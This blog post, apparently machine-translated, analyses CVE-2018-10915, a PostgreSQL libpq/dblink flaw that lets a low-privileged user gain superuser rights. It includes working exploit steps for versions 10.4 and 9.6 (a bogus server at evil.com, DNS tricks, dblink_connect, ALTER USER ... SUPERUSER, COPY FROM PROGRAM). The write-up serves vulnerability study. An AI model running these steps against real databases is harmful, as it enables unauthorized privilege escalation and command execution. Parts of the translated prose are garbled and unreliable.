Privilege escalation in PostgreSQL - parsing CVE-2018-10915

    KDPV

    It is no secret that the state machines are among us. They are literally everywhere, from the UI to the network stack. Sometimes complex, sometimes simple. Sometimes security-related, sometimes not so. But, often, quite exciting to learn :) Today I want to talk about one fun case with PostgreSQL - CVE-2018-10915 , which allowed you to upgrade privileges to superuser.


    Small intro


    As you know, managed databases step through the world. It is not surprising - if you have a simple, non-demanding application, then why curl with cooking your own base. After all, the majority of cloud (or specialized) providers can click on MySQL / PostgreSQL / MongoDB / etc base and live happily ever after. Of course, this caused additional problems, because If earlier for the operation of most of the security problems in the databases you had to first raskachit attachment (which in itself is game over in most cases), now theybare asstheir interface stand to the attacker. There should be a remark about the fact that the next barrier should be a high-quality infrastructure and this is true, but today is not about that.


    Essence CVE-2018-10915


    • in most cases, PostgreSQL does not require authentication for local connections. An example from the official docker image:

    # pg_hba.conf from PostgreSQL docker image
    # note: debian pkg marked only "local" connections as trusted
    # "local" is for Unix domain socket connections only
    local   all             all                                     trust
    # IPv4 local connections:
    host    all             all             127.0.0.1/32            trust
    # IPv6 local connections:
    host    all             all             ::1/128                 trust

    • Thanks to dblink and postgres_fdw extensions, you can connect to remote databases. And judging by the forums, consumers rarely ask for their availability;)
    • the authors have already been burned by privilege escalation, so they made a hack with the prohibition of connecting without authentication:

    // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639staticvoiddblink_security_check(PGconn *conn, remoteConn *rconn){
        if (!superuser())
        {
            if (!PQconnectionUsedPassword(conn))
            {
                PQfinish(conn);
                if (rconn)
                    pfree(rconn);
                ereport(ERROR,
                        (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
                         errmsg("password is required"),
                         errdetail("Non-superuser cannot connect if the server does not request a password."),
                         errhint("Target server's authentication method must be changed.")));
            }
        }
    }
    // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314intPQconnectionUsedPassword(const PGconn *conn){
        if (!conn)
            returnfalse;
        if (conn->password_needed)
            returntrue;
        elsereturnfalse;
    }

    • the checkbox is password_neededset by the state machine after receiving a message from the server AUTH_REQ_MD5orAUTH_REQ_PASSWORD
    • libpq can bypass multiple IP (pg 9.x) or hosts (pg 10.x / 11.x) in search of a suitable
    • The state machine proceeds to the following IP / host after setting the flag password_neededin two convenient, for us, cases:
      • we want a writable session ( target_session_attrs=read-write), and a server in read-only
      • when receiving an error unknown application_name
    • when moving to the next IP / host, pqDropConnection is called , which cleans the connection data very selectively (as some of them may be needed for reconnect). Hint: password_needednot reset
    • This allows you to bypass the test dblink_security_check, because when connected to the next host, the flag remains with the previous value
    • PROFIT

    Thus, if we have any user with access to dblinkPostgreSQL with trusted connections for this host, we can forget to authenticate with a password, connect on behalf of the superuser postgres, and execute anything on his behalf (for example, arbitrary commands using COPY foo FROM PROGRAM 'whoami';).


    From theory to practice - PostgreSQL 10.4!


    But theory alone cannot be full, therefore I have prepared a small example of exploiting this vulnerability. We'll start with PostgreSQL 10.4.


    • for a start, we will write and run a simple PostgreSQL server ( bogus-pgsrv ), which will require password authentication for any request and send an error after receiving it ERRCODE_APPNAME_UNKNOWN:

    $ psql "host=evil.com user=test password=test application_name=bar"
    psql: ERROR:  unknown app name
    could not connect to server: Connection refused
        Is the server running on host "evil.com" (1.1.1.1) and accepting
        TCP/IP connections on port 5432?

    • Now let's prepare a test PostgreSQL:

    $ docker run -it -d -p 5432:5432  -e POSTGRES_PASSWORD=somepass postgres:10.4
    e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545
    $ psql "host=localhost user=postgres password=somepass" <<'SQL'
    CREATE USER test WITH PASSWORD 'test';
    CREATE DATABASE test;
    \c test
    CREATE EXTENSION dblink;
    SQL

    • check that the user testdoes not have specific rights:

    $ psql "host=localhost user=test password=test" <<'SQL'
    \du
    SQL
                                       List of roles
     Role name |                         Attributes                         | Member of 
    -----------+------------------------------------------------------------+-----------
     postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
     test    

    • great, now exploit:

    $ psql "host=localhost user=test password=test" <<'SQL'
    select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar');
    select dblink_exec('ALTER USER test WITH SUPERUSER;');
    \du
    SQL
     dblink_connect 
    ----------------
     OK
    (1 row)
     dblink_exec 
    -------------
     ALTER ROLE
    (1 row)
                                       List of roles
     Role name |                         Attributes                         | Member of 
    -----------+------------------------------------------------------------+-----------
     postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
     test      | Superuser  

    • everything. We can do what you like ^ _ ^

    From theory to practice - PostgreSQL 9.6!


    With PostgreSQL 9.x, everything is a bit more complicated. it does not support listing hosts to connect. But if the address is resolved in several IPs, it will bypass them all! And since for IPv6 priority addresses (see RFC6724 ) we can do the same thing just by answering our IP with an AAAA request, and 127.0.0.1 with A + dropping connections for a few seconds after sending ERRCODE_APPNAME_UNKNOWN:


    • Prepare DNS:

    $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com
    2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1
    2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba

    • we start the same bogus pgsql
    • and again we are preparing a test PostgreSQL (for the docker, IPv6 should work, this is important):

    $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6
    dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c
    $ psql "host=localhost user=postgres password=somepass" <<'SQL'
    CREATE USER test WITH PASSWORD 'test';
    CREATE DATABASE test;
    \c test
    CREATE EXTENSION dblink;
    SQL

    • exploit:

    $ psql "host=localhost user=test password=test" <<'SQL'
    select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar');
    select dblink_exec('ALTER USER test WITH SUPERUSER;');
    \du
    SQL
     dblink_connect 
    ----------------
     OK
    (1 row)
     dblink_exec 
    -------------
     ALTER ROLE
    (1 row)
                                       List of roles
     Role name |                         Attributes                         | Member of 
    -----------+------------------------------------------------------------+-----------
     postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
     test      | Superuser                                                  | {}
    

    • everything. We can do what you like ^ _ ^

    Conclusion


    In conclusion, I wanted to write something clever, but, unfortunately, I do not have a good, simple and universal way to check that everything is fine with your state machine. There are various attempts, but from what I have seen, they are either too narrowly specialized, or they still cope with logical errors. It remains to hope for vigilance and an extra pair of eyes on the review: (


    Also popular now: